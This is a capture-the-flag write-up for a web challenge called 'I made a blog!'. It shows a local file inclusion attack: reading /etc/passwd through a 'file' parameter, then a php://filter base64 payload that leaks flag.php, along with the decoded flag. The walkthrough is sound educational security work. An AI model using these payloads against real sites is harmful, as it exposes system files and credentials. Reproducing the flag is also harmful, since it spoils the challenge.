# I made a blog!

![Screenshot of Challenge](https://584771571-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGhn0OSf58IrV71Z387bZ%2Fuploads%2FwuvRz3fA5oMHqJOOcA5q%2Fimage.png?alt=media\&token=057a717b-06d5-4722-9b7c-dbee45dbfd28)

Did you check out my blog posts?\
\
<http://ez.ctf.cafe:9999><br>

### Hint

robots will rule the world!

### Writeup

Let's Visit the website

![homepage of website](https://584771571-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGhn0OSf58IrV71Z387bZ%2Fuploads%2FZuOzwLAPZufV1ZRQLAkv%2Fimage.png?alt=media\&token=54e72631-50b1-4761-9f87-8409df60d60b)

When you visit <http://ez.ctf.cafe:9999/flag.php> you will get a hint. \
Here it is: `How do you filter your coffee?`

okay, good! we can see that we are on the right path, now, let's see the blog. Click the 'Read More' button on the blog. You will be redirected to \`<http://ez.ctf.cafe:9999/blog-posts.php?file=blog1.html>\`

Perfection! you can see there is a `file` parameter. Let's try to do \`/etc/passwd\` on that parameter

<br>

![/etc/passwd in file parameter (working!)](https://584771571-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGhn0OSf58IrV71Z387bZ%2Fuploads%2FOUgZ9pe6sRdHmh8Sd0jn%2Fimage.png?alt=media\&token=7127dc93-bf97-4a10-a0af-3e82b3fb5bcc)

So, now let's find the flag. I have used `flag`, `/home/flag`, `/root/flag`, but got no luck.

Then, I remembered the hint `flag.php` and then find the payload with filter in PHP.

Luckily, I got this one, thanks to PayloadAllThings

{% embed url="<https://github.com/cyberheartmi9/PayloadsAllTheThings/blob/master/File%20Inclusion%20-%20Path%20Traversal/README.md#lfi--rfi-wrappers>" %}
PayloadAllThings
{% endembed %}

Use this payload and boom, you will get string,

\`<http://ez.ctf.cafe:9999/blog-posts.php?file=php://filter/convert.base64-encode/resource=flag.php>\`

Output String: `PD9waHAKCWVjaG8gJ0hvdyBkbyB5b3UgZmlsdGVyIHlvdXIgY29mZmVlPyc7ICAgIAoJLy8gRVotQ1RGe0xGSV8xU18zWn0KPz4K`

This is a base64 encoded string, decode it with a base64 decoder

On decoding string, it will show the flag!!! 🎉

### Flag:

`EZ-CTF{LFI_1S_3Z}`


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